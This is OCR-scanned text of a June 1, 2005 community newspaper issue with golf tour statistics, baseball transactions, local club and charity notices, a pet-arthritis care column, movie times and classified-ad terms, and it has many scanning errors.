0-1). Fouled Out-R.Wallace. Rebounds-Miami 52 (E.Jones 10), Detroit 49 (B.Wallace 15). Assists-Miami 17 (Wade 6), Detroit 27 (R.Hamilto, 8). -Tdtal Fouls-Miami 30, Detrol"- 28:.' Technicals-Haslem, Billups. A-22,076.' (22,076). TI :. -.7''TIONS BASEBALL MAJOR LEAGUE BASEBALL- Suspended New York Yankees RHP Paul Quantrill three games and fined him an undisclosed amount for throwing at Detroit INF Jason Smith during a May 24 game. Suspended New York manager Joe Torre one game and fined him an undisclosed amount for the intentional actions of Quantrill after a warning was issued. American League CLEVELAND INDIANS-Activated OF Juan Gonzalez from the 15-day DL. Designated OF. Ryan Ludwick for assign- ment. DETROIT TIGERS-Optioned 1B Carlos Pena to Toledo of Ine IL. Recalled 1 B-DH Chris Shelton from Toledo. KANSAS CITY ROYALS-Named Buddy Bell manager. Purchased the con- tract of OF Shane Costa from Wichita of the Texas League. Designated OF Eli Marrero for assignment. LOS ANGELES ANGELS-Signed RHP Jered Weaver to a minor league contract. SEATTLE MARINERS-Designated SS Wilson Valdez for assignment. Called up SS Mike Morse from Tacoma of the PCL. National League ARIZONA DIAMONDBACKS-Signed INF Stephen Drew and assigned him to Lancaster of the California League. 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S S - o - 40 i 1 . o qm. JUNE 1, 2005 ne.com "-. ';"' ".-.^ .- .-^-'; -;.' "" =:^ .'%" -" :;: :-*- .............................."=. :" .", Golff, , Chamber slates June golf tournament Get your golf clubs out and practice your swing for the Citrus County Chamber of Commerce's Classic Golf Tournament set for 8 a.m. Saturday, June 18, at the newly renovated Twisted Oaks Golf Course in Beverly Hills. Put this event on your schedule and spend time socializing, net- working, enjoying the great Florida sun, winning great prizes and enjoying a mouth-watering barbe- cue lunch. Start your day off with a conti- nental breakfast and get ready for your 8 a.m. Shotgun Scramble. Mulligans are offered for $5 each. Special contests and awards will be given for the following cate- gories: Hole in one, longest drive, closest to line, nearest to pin, three flights, low-gross and low-net. The cost is $65 per person, which includes breakfast and lunch. Hole sponsorships are available for $100 each, or take advantage of the four-person and hole sponsor package for $300. A rain date has been scheduled for June 25. For information or to sign up, call Suzanne at 726-2801. Marching Canes to hold golf tourney Enjoy a day of golf with the Citrus High marching band. The band is hosting a golf tournament and meal on Saturday, June 11, at the Pine Ridge Golf and Country Club. The band is seeking hole sponsors and golfers to play. Form your own foursome or we'll set one up for you. Come have a great day and support the Marching Canes. For further information, call Jason Koon at 726-1418 or Ricky Payne at 212-7219. Dates set for Plantation camps The dates for the Plantation Junior Golf Camps have been announced. June 1-3, June 15-17 and June 29-July 1. Ages 7-10 years old are from 9 partici- pate. CFCC seeks sponsors for inaugural classic Central Florida Community College is seeking sponsors for its Inaugural Golf Classic at the Black Diamond Ranch Quarry Course on Monday, June 20. The classic is a four-person scramble with a shot- gun start. infor- mation, call Rob Wolf at 746-6721, Ext. 6110. From staff reports PGA Tour Statistics Scoring Average 1, Phil Mickelson, 69.06. 2, Luke Donald, 69.07. 3, Vijay Singh, 69.14. 4, Tiger Woods, 69.46. 5, Jim Furyk, 69.50. 6, Darren Clarke, 69.54. 7, Tom Lehman , 69.74. 8, Ernie Els, 69.77. 9, Scott Verplank, 69.79. 10, Jose Maria Olazabal, 69.87. Driving Distance 1, Scott Hend, 319.2. 2, Brett Wetterich, 307.8. 3, Hank Kuehne, 305.9. 4, Tiger Woods, 305.2. 5, Scott Gutschewski, 304.4. 6, Kenny Perry, 301.8. 7, John Elliott, 301.6. 8, Will MacKenzie, 300.5. 9, John Daly, 299.0. 10, Brandt Jobe, 298.7. Driving Accuracy Percentage 1, Fred Funk, 75.9%. 2, Omar Uresti, 73.9%. 3, Gavin Coles, 73.4%. 4, Scott Verplank, 73.2%. 5, Bart Bryant, 72.8%. 6, Brian Davis, 72.7%. 7, Olin Browne, 72.5%. 8, Graeme McDowell, 71.6%. 9, Darren Clarke, 71.3%. 10, Mike Weir, 71.0%. Greens in Regulation Pct. 1, Kenny Perry, 73.1%. 2, Vijay Singh, 72.6%. 3, Sergio Garcia, 72.2%. 4, Billy Mayfair, 70.9%. 5, Tiger Woods, 70.8%. 6, Adam Scott, 70.4%. 7, Olin Browne, 69.9%. 8, Ernie Els, 69.8%. 9, David Toms, 69.7%. 10, Roland Thatcher, 69.6%. Total Driving 1, Kenny Perry, 43. 2, Billy Mayfair, 80. 3, Darren Clarke, 84. 4, Stuart Appleby, 99. 5, Charles Warren, 100. 6, Vijay Singh, 101. 7 (tie), Mark Calcavecchia and Joe Durant, 105. 9, D.J. Brigman, 106. 10, Carl Paulson, 120. Putting Average 1, Chris DiMarco, 1.700. 2, Phil Mickelson, 1.706. 3, Billy Andrade, 1.708. 4 (tie), Tim Clark and Ben Crane, 1.710. 6, Joe Ogilvie, 1.713. 7, Justin Leonard , 1.721. 8, Jim Furyk, 1.722. 9, Arjun Atwal, 1.724. 10, Tiger Woods, 1.725. Birdie Average 1, Phil Mickelson, 4.98. 2, Tiger Woods, 4.81. 3, David Toms, 4.45. 4, Ernie Els, 4.21. 5, Vijay Singh, 4.20. 6 (tie), Billy Andrade and Tim Clark, 4.19. 8, Darren Clarke, 4.15. 9, Jim Furyk, 4.13. 10, Fred Couples, 4.04. Eagles (Holes per) 1, Brent Geiberger, 84.0. 2, Vijay Singh, 90.0. 3, Brian Davis, 94.0. 4 (tie), Ernie Els, Ian Poulter and Adam Scott, 100.8. 7, Tag GO~ lf . Ridings, 101.3. 8, Joey Snyder III, 103.5. 9, D.J. Trahan, 105.4. 10, Joe Ogilvie, 106.0. Sand Save Percentage 1, Luke Donald, 79.1%. 2, Pat Perez, 67.6%. 3 (tie), Phillip Price, Brian Davis and Tim Clark, 64.3%. 6, Stuart Appleby, 64.0%. 7, Shigeki Maruyama, 63.5%. 8, Graeme McDowell, 63.0%. 9, Jose Maria Olazabal, 62.8%. 10, Billy Andrade, 61.5%. All-Around Ranking 1, Vijay Singh, 189. 2, Darren Clarke, 215. 3, Retief Goosen, 252. 4, Billy Mayfair, 276. 5, David Toms, 311. 6, Ernie Els, 314. 7, Mark Calcavecchia 315. 8, Tiger Woods, 323. 9, Luke Donald, 329. 10, Phil Mickelson, 338. LPGA Tour Statistics Scoring 1, Annika Sorenstam, 68.91. 2, Cristie Kerr, 70.48. 3, Rosie Jones, 70.83. 4, Lorena Ochoa, 71.12. 5, Hee-Won Han, 71.32. 6, Natalie Gulbis, 71.43. 7, Jennifer Rosales, 71.52. 8, Juli Inkster, 71.60. 9, Shi Hyun Ahn, 71.63. 10, Heather Bowie, 71.64. Rounds Under Par 1, Annika Sorenstam, .870. 2, Rosie Jones, .708. 3, Cristie Kerr, .606. 4, Lorena Ochoa, .576. 5, Natalie Gulbis, .541. 6, Jennifer Rosales, .522. 7, Carin Koch, .515. 8, Candle Kung, .467. 9, Hee-Won Han, .459. 10, Dorothy Delasin and Young Kim, .455. Eagles 1 (tie), Helen Alfredsson, Pat Hurst and Annika Sorenstam, 5.4 (tie), Laura Davies, Catriona Matthew and Sung Ah Yim, 4. 7, 7 tied with 3. Greens in Regulation 1, Annika Sorenstam, .756. 2, Tracy Hanson, .715. 3, Maria Hjorth, .714. 4, Dawn Coe-Jones, .713. 5, Heather Bowie, .712. 6, Wendy Ward, .698. 7, Jennifer Rosales, .697. 8, Natalie Gulbis, .696. 9, Cristie Kerr, .694. 10, Christina Kim, .689. Top 10 Finishes 1, Annika Sorenstam, .833. 2, Rosie Jones, .714. 3, Cristie Kerr, .667. 4, Heather Bowie, .625. 5, Juli Inkster, .571. 6,-Lorena Ochoa, .556. 7, Gloria Park, .500. 8, Michele Redman, .444. 9 (tie), Hee-Won Han, Catriona Matthew and Shi Hyun Ahn, .400. Driving Distance 1, Annika Sorenstam, 273.7. 2, Brittany Lincicome, 269.2. 3, Sophie Gustafson, 269.0. 4, Isabelle Beisiegel, 265.0. 5, Maria Hjorth, 263.4. 6, Reilley Rankin, 263.3. 7, Jean Bartholomew, 263.1. 8, Catherine Cartwright, 262.6. 9, Heather Bowie, 262.4. 10, Pat Hurst, 261.8. Sand Saves 1, Lore Kane, .706. 2, Patricia Meunier- Lebouc, .684. 3, Nadina Taylor, .625. 4, Angela Jerman, .591. 5 (tie), Marisa Baena and Annika Sorenstam, .588. 7, Jeong Jang, .586. 8, Mhairi McKay, .579. 9, Stephanie Louden, .565. 10, Dorothy Delasin, .560. Birdies 1, Natalie Gulbis, 131. 2, Lorena Ochoa, 128. 3, Cristie Kerr, 125. 4, Hee-Won Han, 120. 5, Moira Dunn, 119. 6, Joo Mi Kim, 114. 7 (tie), Christina Kim, Young Kim and Gloria Park, 110. 10, Carin Koch and Catriona Matthew, 109. Driving Accuracy 1, Ji Yeon Lee, .844. 2, Joanne Morley, .843. 3, Celeste Troche, .822. 4, Tina Fischer, .819. 5 (tie), Rosie Jones and Nancy Harvey, .815. 7, Mi Hyun Kim, .813. 8, Sung Ah Yim, .808. 9, Jeong Jang, .804. 10, Angela Stanford, .802. Putting Average Per Round 1, Rosie Jones, 28.00. 2, Juli Inkster, 28.14. 3, Mhairi McKay, 28.16. 4, Silvia Cavalleri, 28.33. 5, Vicki Goetze- Ackerman, 28.50. 6, Mi Hyun Kim, 28.60. 7, Deb Richard, 28.77. 8, Angela Jerman, 28.85. 9, A.J, Eathorne, 28.87. 10, Lorena Ochoa, 28.88. Putts Per Green (GIR) 1, Juli Inkster, 1.70. 2 (tie), Mhairi McKay and Annika Sorenstam, 1.74. 4 (tie), Lorena Ochoa and Cristie Kerr, 1.75. 6 (tie), -Mardi Lunn, Silvia Cavalleri, Beth Daniel and Rosie Jones, 1.76. 10, 3 tied with 1.77. Champions Tour Statistics Scoring Average 1, Mark McNulty, 69.67. 2, Wayne Levi, 69.79. 3, Dana Quigley, 69.85. 4, Morris Hatalsky, 69.93. 5, Tom Jenkins, 69.97. 6, Craig Stadler, 70.19. 7, Bruce Fleisher, 70.27. 8, Hale Irwin, 70.37. 9, Mike Reid, 70.46. 10, Tom Purtzer, 70.47. Driving Distance 1, Tom Purtzer, 294.2. 2, R.W. Eaks, 292.2. 3, Gil Morgan, 290.4. 4, Craig Stadler, 290.0. 5, Keith Fergus, 289.5. 6, Brad Bryant, 287.8. 7, John Jacobs, 287.7. 8, Hajime Meshiai, 287.4. 9, Mark Johnson, 284.9. 10, Lonnie Nielsen, 284.4. Driving Accuracy Percentage 1, John Bland, 84.6%. 2, Hugh Baiocchi, 82.1%. 3, Wayne Levi, 81.9%. 4, Doug Tewell, 81.6%. 5, Ed Fiori, 79.8%. 6, Joe Inman, 78.9%. 7, Allen Doyle, 78.2%. 8, Ed Dougherty, 77.7%. 9, Bob Murphy, 77.0%. 10, Dave Stockton, 76.9%. Greens In Regulation Pct. 1, Tom Jenkins, 76.6%. 2, Wayne Levi, 73.9%. 3, Bruce Fleisher, 73.6%. 4 (tie), Tom Watson and D.A. Weibring, 73.0%. 6 (tie), Mark McNulty and Tom Purtzer, 72.8%. 8 (tie), Raymond Floyd and Hale Irwin, 71.7%. 10, Brad Bryant, 71.5%. Total Driving 1, Brad Bryant, 26. 2, Keith Fergus, 29. 3, Dana Quigley, 40. 4, Gil Morgan, 42. 5 (tie), Bob Gilder and Tom Kite, 46. 7 (tie), Wayne Levi and Jim Thorpe, 49. 9, John Jacobs, 50. 10, Mark James, 51. Putting Average 1, Dana Quigley, 1.740. 2, Morris Hatalsky, 1.744. 3, Gary Koch, 1.749. 4, Tom Kite, 1.750. 5, Lonnie Nielsen, 1.760. 6, Mark Johnson, 1.762. 7, Mark McNulty, 1.763. 8 (tie), Ben Crenshaw and Rodger Davis, 1.766. 10, Joe Inman, 1.768. Birdie Average 1, Craig Stadler, 4.33. 2, Tom Kite, 4.28. 3, Tom Watson, 4.20. 4, Mark McNulty , 4.17. 5, Jim Thorpe, 4.09. 6, Mark James, 4.05. 7, Wayne Levi, 3.97. 8, 4 tied with 3.93. Eagles (Holes per) 1, Gary Koch, 61.2. 2, Tom Jenkins, 66.0. 3, Gil Morgan, 67.5. 4, Dana Quigley, 74.3. 5, Mike Reid, 86.4. 6, Mark Johnson, 90.0. 7, Craig Stadler, 94.5. 8, Keith Fergus, 97.2. 9, 3 tied with 108.0. Sand Save Percentage 1, Rodger Davis, 63.9%. 2, D.A. Weibring, 57.7%. 3 (tie), Morris Hatalsky and Mark McNulty, 57.1%. 5, Don Reese, 56.8%. 6, Tom Kite, 56.0%. 7, Des Smyth, 55.3%. 8, Ed Fiori, 55.0%. 9, Lonnie Nielsen, 53.3%. 10, 2 tied with 52.2%. All-Around Ranking 1, Dana Quigley, 94. 2, Wayne Levi, 116. 3, Mark McNulty, 117. 4 (tie), Morris Hatalsky and Tom Kite, 133. 6, Hale Irwin, 158. 7, Rodger Davis, 160. 8, Tom Purtzer, 165. 9, Craig Stadler, 166. 10, Tom Jenkins, 171. -IImm meu ft Driving distance, Tom Purtzer, 294.2 yards. Driving accuracy, John Bland, 84.6 percent. Total driving, Brad Bryant, 26 total placings in distance and accuracy categories. All-Around, Quigley, 94 total placings in all cate- gories. On the Net: PGA TOUR Memorial Tournament Site: Dublin, Ohio. Schedule: Thursday-Sunday. Course: Muirfield Village Golf Club (7.265 yards, par 721. Purse: $5 5 million. Winner's share: $990,000. Television: ESPN (Thursday- Friday, 4-7 p.m.) and CBS (Saturday, 3-6 p.m.; Sunday, 2-6 p.m.). Last year: Ernie Els won inme second of his three 2004 PGA Tour vciories. closing with conseculoe 66s for a tour- siroke victory over Fred Couples. Tiger Woods finished third, six strokes DacK. Last week: Justin Leonard lost most of an eighl-siroke lead me largest hnal-round advantage on the PGA Tour this year before pulling out a one-siroKe victory over David Toms in the Sl. Jude Classic. Leonard, also the Bob Hope Chrysler1Classic winner in January, has 10 PGA Tour victories. Notes: Woods, the 1999-01 winner, is making his final stan before the L S. Open in two weeks at Pinehursl. .. Tournament host Jack Nicklaus aesignea the course and won Ihe even in 1977 and 1984. He's making his 30or, appearance in me lourna- meni .. Els lied for 39ir, lasi week in England in the BMW Championship. 15 sIrokes behna winner Angel Cabrera. Top-ranked Vilay Singhn, me 1997 cnampior. s coming off a two-week break. Tne Booz Alien Classic is nem week at Congressional Tour leaders: Victor-es. Woods. Singn and Phil Mickelson. 3 Money. Singh. $5.292.006. Scoring. Mickeison, 69.06 per round. Puning. Chris DMarco. 1.700 per green reached in regulation. Greens in regu- laion. Kenny Perry, 73.1 percent. Eagles, Brent GeiDerger. 84.0 noles per eagle. Budies, Mickeison. 4.98 per round. Sand saves, Luke Donald, 79.1 percent. Driving distance, Scort Hend. 319 2 yards. Driving accuracy. Fred Funk. 75.9 percent. Toal adrving, Perry. 43 total placings .n distance and accuracy categories. AlI-Around,. Singn, 189 loral placings in all cate- gories. On me Ner: hnp.,. LPGA TOUR ShopRite LPGA Classic Site: Galloway Township, N.J Schedule: Fiday-Sunday. Course: Seaview Marriott Resort & Spa. Bay Course 16.071 yards, par 71 i. Purse: $1.4 million Winner's share: $210.000. Television: ESPN2 (Friday. 1.6 p.m.; Saturday. 2.4 p.m.. Sunday. 3.5 p.m.). Last year: Cristie Kerr won inhe sec- ond of her three 2004 LPGATour titles. bird.eing thne final hole for a one-siroke victory over 17-year-old amateur Paula Creamer and Giulia Sergas. Last week: Southn Korea's Jmmn Kang aced Irhe 15Th hole moments after a deflating bogey and shot a 6- under 66 to win the LPGA Corning Classic. edging AnniKa Sorenstam and rookie Meana Lee by two strokes for her first career tile Notes: Sorenstam, the 1998 and 2002 winner, tops the field in the final event before her title defense next week in the McDonald's LPGA Championship at Bulle Rock in Havre de Grace. Mo. ... Creamer won the Sybase Classic two weeks ago in New Rochelle, N.Y., to become the second- youngest winner (18 years, 9 months) in LPGA Tour history and the )oungesi winner in a multlround event. She graduated Iror ni gh school last week. ... Kerr won the Michelob UlIra Open on May 8, ending Sorenstam's record-tying winning streak at five events. Tour leaders: Victories. Sorenslam, 4. Money, Sorensiam, $1,023,238. Scoring, Sorenstam, 68.91 per round. Putting, Juli Inkster, 1.70 per green reached in regulation. Greens in regu- lation, Sorenstam 75.6 percent. Eagles, Sorensiam. Helen Allredsson and Pat Hursi, 5. B.rdies, Nalahe Gulbis, 131. Sand saves, Lorie Kane, 70.6 percent. Driving distance, Sorenstam, 273.7 yards. Driving accu- racy, Ji Yeon Lee, 84.4 percent. Player of the Year, Sorenstam, 162 points. On the Net: htlp ..www ipga.com CHAMPIONS TOUR Allianz Championship Site: Polk City, Iowa Schedule: Friday-Sunday. Course: Tournament Club of Iowa (6,756 yards, par 71). Purse: $1.5 million. Winner's share: $225,000. Television: The Golf Channel (Friday-Sunday, 5-7:30 p.m., 9-11:30 p.m.). Last year: D.A. Weibring won at Glen Oaks Country Club, beating Tom Jenkins by three strokes. Tom Watson finished third, four strokes back. Last week: Mike Reid, three strokes behind with a hole to play in the Senior PGA Championship, forced his way into a playoff with Dana Quigley and Jerry Pate with an eagle on No. 18, then birdied the hole in a playoff for his first win since 1990. Notes: Weibring won the Bruno's Memorial Classic two weeks ago in Alabama for his third victory in three seasons on the Champions Tour.... The tournament is in its first year at the Arnold Palmer-designed Tournament Club of Iowa after four years at Glen Oaks. ... Dave Eichelberger won the 1999 U.S. Senior Open at Des Moines Country Club.... The Bayer Advantage Classic is next week in Overland Park, Kan. Tour leaders: Victories, Hale Irwin, Jim Thorpe and Des Smyth, 2. Money, Quigley, $936,447. Scoring, Mark McNulty, 69.67 per round. Putting, Quigley, 1.740 per green reached in regulation. Greens in regulation, Jenkins, 76.6 percent. Eagles, Gary Koch, 61.2 holes per eagle. Birdies, Craig Stadler, 4.33 per round. Sand saves, Rodger Davis, 63.9 percent. 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The program will be a demon- stration about machine beading and crystal embellishing. The July 7 meeting will be a sew-in day to make cancer caps or work on unfinished projects. Crocheted button trimmed socks will be .the topic of the Aug. 4 meeting. The Sept 1 meeting will be "Christmas in September" with a show and tell of small gifts and a gift exchange. Another fabric shopping spree is being planned for Oct 6, and on Nov. 3 we will have a demonstration of bags and purses made from placemats. Guests are welcome at all meetings. In addition to our regular meetings, a special "sit & sew" program is being planned for Monday, Aug. 1, at the VFW hall in Beverly Hills. More details will be available later Members are also reminded to be sewing clothing for children, which will be presented at our December meeting to the Salvation Army for distribution to needy children in our area. The American Sewing Guild is a national organization for people who think sewing is a creative and reward- ing activity, people who feel that shar- ing the benefits and joys of sewing is almost as much fun as sewing itself. The guild provides up-to-date sewing information and a friendly support sys- tem for sewers at all levels of experi- ence and is open to anyone interested in sewing. Annual dues are $40. The Crystal River area neighborhood group, the Snippits, began in June 1999 and has grown over the years go include women of many interests and talents who enjoy sewing for fun and pleasure. In addition to personal sewing, the organization is interested in communi- ty involvement Regular meetings are at 10 a.m. the first Thursday monthly at A-White Sew, Fan, Vac in the Airport Plaza on U.S. 19 in Crystal River. Call Jean at 746-2621. AMERICAN SEWING GUILD * WHAT: American Sewing Guild meeting. * WHEN: 10 a.m. Thursday. * WHERE: A White Sew & Vac in the Airport Plaza on U.S. 19 in Crystal River. * INFORMATION: Call Jean at 746-2621. Taking care of bones takes on new meaning Taking good care of an arthritic dog or cat is a vital aspect of being a responsible pet owner. I am not a veterinarian and I can't begin to delve into the medical aspects of arthritis. But I am a curious and conscientious pet owner who wants my furry family members to be as comfortable as possible for as long as they are in my life. My responsibility becomes a comprehensive adventure into diet, supplements, exercise and environment Each pet adapts differently to a joint-related illness, which often comes on gradually. Some are in great pain before show- ing symptoms; others seem incapac- itated early on. I have learned that . seemingly unrelated choices can . greatly impact an arthritic pet's world. V " Hardwood and tile floors are treacherous for arthritic dogs and cats. They are slippery to navigate ,- and even walking on them can become painful. In my pet sitting, I have seen a number of dogs that will not get up from a tile floor until they Kyleen C are literally or figuratively pushed PET T to do so. Their paws slip out from under them as they attempt to shift their weight into a standing position. Area rugs will often solve this problem easily; carpeting at least one room gives your pet a safe place where traction is not a problem. Glucosamine and Chondroitin Sulfate have been shown to repair and rebuild cartilage for healthier joints. It helps two-legged, as well as four-legged family members. My dogs are both large and I learned from my veterinarian that the dosage for them is the same as for me. What I buy at the drugstore for me works equally well for them. Check with your vet before giving supplements to your own pet. I make certain that all my pets have soft bed- ding, especially when the weather is cold. Some take advantage and some don't, but all have the options to rest those joints on some- thing padded. (Think about it: could you sleep on the floor ALL the time and feel frisky?) Special dog bedding, such as waterbeds and hammock beds, are available online and at larg- er pet stores. Some additional products for adapting to a pet's compromised mobility help him get onto furniture and into your vehicle. You can find ramps that can be used for larg- er dogs so that getting into your car is a gradual incline. Carpeted ramps for helping him onto the bed or chair have become as attractive as they are useful. Most pet catalogs carry a variety of styles. "Puppy Stairs" is a product line comprised of soft modular cubes that fit together in com- binations that permit pets to climb J up or down from beds or sofas. These cubes are made of soft rub- ber, have rounded corners and washable covers. Their prices seem reasonable and they would be easy to move about. Offer and encourage appropriate exercise, beginning at a young age. Healthy bones and joints can better withstand the ravages of time; this is 3ravin true for them and for us. avin Keep your pet's weight down; a chub- ALK by dog or cat with arthritis will have a harder time than a trim one. Explore complementary pain management, such as mas- sage and acupuncture. Trim your pet's nails frequently; interference with walking or climbing should definitely be minimized. Talk to your vet about pain manage- ment, as'well as newer treatments for your pet's joint health. I firmly believe that knowing what is at the cutting edge of pet health information is a pow- erful tool in my attempt to be a good pet guardian. Be observant of the subtle clues in your pet's behavior so that changes can be treat- ed quickly and appropriately Often, managing your pet's environment goes a long way toward extending his top quality of life. Kyleen Gavin is a pet care specialist in Citrus County. She lives in Hernando with her husband and her large and expanding pet fam- ily. She can be reached at 746-6230 or e-mail her at petlady23@earthlinknet. Pet rescue events set for June Adopt A Rescued Pet will host pet adoptions to highlight our special felines looking for that special loving home. Rusty an orange and white young male is a lap cat in training - a real sweetie. Callie is a rescued female quite shy but ready to move into your home and heart. Leo and Leona are black and white siblings approximately 11 months old. They get along great with other cats, sleep like bookends and would love to stay together. These are just some of our rescued cats available for adop- tion. Stop by and meet these and other pets at these locations: From 10 a.m. to 1 p.m. Friday at the Regions Bank, North Lecanto Highway, Beverly Hills. From 9:30 a.m. to 12:30 p.m. Saturday, June 11, and Saturday, June 25, at Barrington Place, County Road 486 in Lecanto If you would like more informa- tion about this rescue group or would like to volunteer, call 795- 9550 and leave a message, or check out our Web site. Pets available for adoption are listed each day in the free column of the Chronicle. Be the love of nine lives - adopt a cat! PET SPOTLIGHT The Chronicle invites readers to submit photos of their pets for the daily Pet Spotlight feature. Counth Chronicle, 1624 N. Meadowcrest Blvd., Crystal River, FL 34429. Quilt workshop Special to the Chronicle The Creative Quilters attended a May 25 workshop for silk ribbon embroidery and embellishments given by guild member Amle Spinello. The guild members used the new skill to enhance the Victorian Crazy Quilt blocks to be made Into a raffle quilt for the next quilt show In 2007. Crazy quilting Is the random placing of irreg- ular pieces of silks velvets and other fine fabrics on to a foundation. Next month, the guild will learn how to make a boarder print purse. Call Sharon Paup, mem- bership chairman, at 746-6305. Bike donation Carl Bertoch sits with Melissa Walker on a Rhodes four-wheel bike that drives like a car. Bertoch is donating this unique bike for the Key Training Center's 23rd Annual Dinner Auction set for Friday, July 15, at the Citrus Springs Community Center. Tickets are $50 per per- son. Special to the Chronicle IPS Terrific Kids Special to the Chronicle Inverness Primary recently selected its Terrific Kids for May. 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BAmTSIERO '.A VmI, M adL.',mr?"'. l.WEDNESDAY & FRIDAY FRESH ITALIAN BREADst lian Cookies Anisette Toast 637-1140an 637-1140 Open 7 days a week for lunch & dinner, Bistro at lan der l'alk offers a unique lunch and casual dinner experience in a cozy setting. der Valk Located on the 18th ho/, of 7 ,-- Lakeside Golf Course >&I-"el",,Osr Hwyi 41 between Inverness and Herando .- O- #3 20 Ex.L Succulent Fried Shrimp & Fries $12.99 A Voted Best M Bur &Fries In up Citrus County .$3.99 I A, 1 12 I ------------- I I S.... -r.. . . - - - - - - --- I _ I k I Ic SHARE YOUR THOUGHTS r1il boxtop w winners U Follow the instructions on today's Opinion page to send a letter to the editor. S Letters must be no longer than 350 words, and writers will be limited to three letters per month. ",': 7 ,i bl :l'sn: NYC Transit retirees slate meeting Special to the Chronicle Chapter 9 of the New York City Transit Retirees will meet at 1 p.m. Friday, June 3, in the Beverly Hills Community Room, 1 Civic Circle, Beverly Hills. The bakers for this meeting are Angie Turno, Rosalia Patrone, and Margie Pfeifer. Reviewed will be plans for the fall sea- son including our forthcoming state con- vention and Christmas celebration. The organization's picnic, in Whispering Pines Park, was a great success thanks to Judith Redd, chairperson. New York City Transit Workers, residing in or around Citrus County, are welcomed to attend meetings. We also welcome tran- sit retirees visiting the area. Join us for some fun Call Sal Patrone, president, at 527-1661 or Anthony D'Adamo, first vice president, at 527-2508. CASINO STYLE GAMES Come and try your skills in the "Hottest" and most spacious game room in to\in j7.. 5 5 -S _. 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Expires 06/05/05 CCC L Casino reserves the right to cancel, change, or revise this promotion at any time without notice, LOCATED IN PORT RICHEY, NEXT TO HOOTERS WEDNESDAY, JUNE 1, 2005 3C C IMMUNITY i: Crrus COUNTY (FL) CHRONICLE Ae- wpnr1 9AAr- 'V TUNEf1. 2005 Phillips, Kolley elected for chairperson posts Special to the Chroniclek Cheryl Phillips, Lecanto, and John Kolley, Sugarmill Woods, were recently elected as chair- man and vice chairman, respectively, 'of Citrus 20/20, Inc., a citizen-based, not-for- profit visioning and strategic planning organization estab- lished in 1996. Phillips, the owner and oper- ator of the Palm Terrace Village mobile home communi- ty for seniors and co-owner and president of General Aluminum, Inc., has been a member of Citrus 20/20 Inc. since 1997. She is also the Vice Chair, Citrus County Water and Wastewater Authority; found- ing member, Keep Citrus County Beautiful, Inc.; Co- Chair, Taste of Citrus; and member, Governmental Affairs Committee, Citrus County Builders' Association. Phillips is a 2002 Leadership Citrus graduate and was the Rotary Club of Central Citrus County Rotarian of the Year for 1994 aixd 1995. CKolley, a retired educator and past candidate for the Citrus County School Board, has been a member of Citrus 20/20, Inc. since 2002. Citnts 20/20 Inc. Making diie V_ I A .. Special to the Chronicle Cheryl Phillips, Lecanto, left; Is the new chariman of Citrus 20/20 Inc. At right Is John Kolley, Sugarmill woods, who was elected as vice chairman of the group. Additionally, he is the treasur- er, Board of Early Learning Coalition of Citrus and Sumter counties, and a 2003 graduate the Citrus County School District's Little Red School House Academy In 2004, Kolley was awarded the Marine Corps League, Citrus Detachment No. 819 Distinguished Citizen Award for work with the Marine Corps Reserve Toys for Tots Campaign. FORGET TO PUBUCIZE? il Submit photos of successful community events to be published in the Chronicle. Call 563- , 5660 for details. Railroad club to meet Tuesday Special to the Chronicle The Citrus Model Railroad Club will have its regular monthly meeting at 7 p.m. Tuesday, June 7, at the Otto Allen Building at the Citrus County Fairgrounds, 3600 S. Florida Ave. (U.S. 41 South), Inverness. The program will be an operating session on the club layouts. The public and prospective members are invited. Call Bob Horrell at 382-7345 or Norm Schoss at 341-3128. PET SPOTUGHT * The Chronicle invites readers to submit photos of their pets for the daily Pet Spotlight feature. * Photos need to be in sharp focus. Include a short description of the pet and own- ers, including names and hometowns. Photos cannot be returned without a self- addressed, stamped envelope. Group photos of 'more than two pets cannot be printed. * Send photos and information to Pet Spotlight, c/o Citrus County Chronicle, 1624 N. Meadowcrest Blvd., Crystal River, FL 34429. SELLS YOUR CAR in The Citrus County Chronicle Classifieds Ca, Boa, Recreation Only the Citrus County Chronicle can give you make and four lines of description for $49.50 * Get your ad in right away! 563-5966 CiILRpNICLE / Chronicle Classifieds In Print & Online ..,, /A (352) 563.5966 beverages, door prizes and a "goody bag." event will go to CFCC's Citrus Campus. the event and includes green fees, golf cart, lunch, Deadline to enter is June 10. All proceeds from the 1 1; 1 . 1 1 ...And don't forget to tee-up for Fall Semester Classes begin August 22. You can complete your Associate in Arts degree at the Citrus Campus in just two years. Call today for an academic advisement aoDointment. - an equal opportunity college - -U. Pilot Hospice donation The Gulf to Lakes Pilot Club recently made a dona- tion to Hospice of Citrus County to help with the cost of the new Hospice < IHouse, which Is scheduled i' to open later this year. The Hospice House is a place where people with terminal Illnesses may spend their final days when they require special care not .- possible at home. For more information about Hospice, call Bonnie Saylor, director of development at 527- 0063 Ext. 263. From left are: Maryland Peterson, past president of Gulf to Lakes Pilot Club, and Bonnie Saylor, director of development for Hospice of Citrus County. Special to the Chronicle r..iL~~i '.'-*1 -u WEDNESDAY, JUNE 1, zvu::p :.7. A7~ WEDNESDAY. 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"Sisterhood of the Traveling Pants" (PG) 12:45, 3:50, 7:05, 9:50 p.m. "Star Wars: Episode III" (PG-13) Noon, 12:30, 3:15, 3:45, 6:30, 7, 9:45,10:15 p.m. "Monster In Law" (PG-13) 1, 4:05, 7:20, 9:45 p.m. Crystal River Mall 9; 564-6864 "Sisterhood of the Traveling Pants" (PG) 12:15, 4:20, 7:05, 9:55 p.m. to-. "Madagascar" (PG) 12:10, 12:40, 2:30, 4:10, 4:40, 7:10, 7:40,, 9:35, 10:05 p.m. "The Longest Yard" (PG- 13) 12:35, 4:15, 7:20, 10 p.m. "Star Wars: Episode III" (PG-13) Noon, 12:30, 3:15, 3:45, 6:30, 7, 9:45, 10:15 p.m. "Kicking & Screaming" (PG) 12:05, 2:20, 4:35, 7:50, 10:10 p.m. "Monster In Law" (PG-13) 12:20, 4:30, 7:30, 9:50 p.m. "House of Wax" (R) 12:25, 4:25,, 7:40, 10:15 p.m. Visit for area movie listings and enter- tainment information. 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We cannot be responsible for more than one incorrect insertion. Adjustments are made only for the portion of the ad that is in error. Advertisements may ibe canceled as soon as results are obtained. You will be billed only for the dates the ad actually appears in the paper, except for specials. Deadlines for cancellations are the same as the deadlines for placing ads. SPECIAL T.'f02r.Iu6l 0[U [:151l0FN C L8-9 SE ICE 0-26AIMALS 400-415u MOBILE HOMS FOR RENT OR SALE 500-54 1 ELETTEFRRN 5560RAL STTEFO A LE 01-50 A CA j PROIPER 8090 TRANSORATO 909371 life with. PJ, (305) 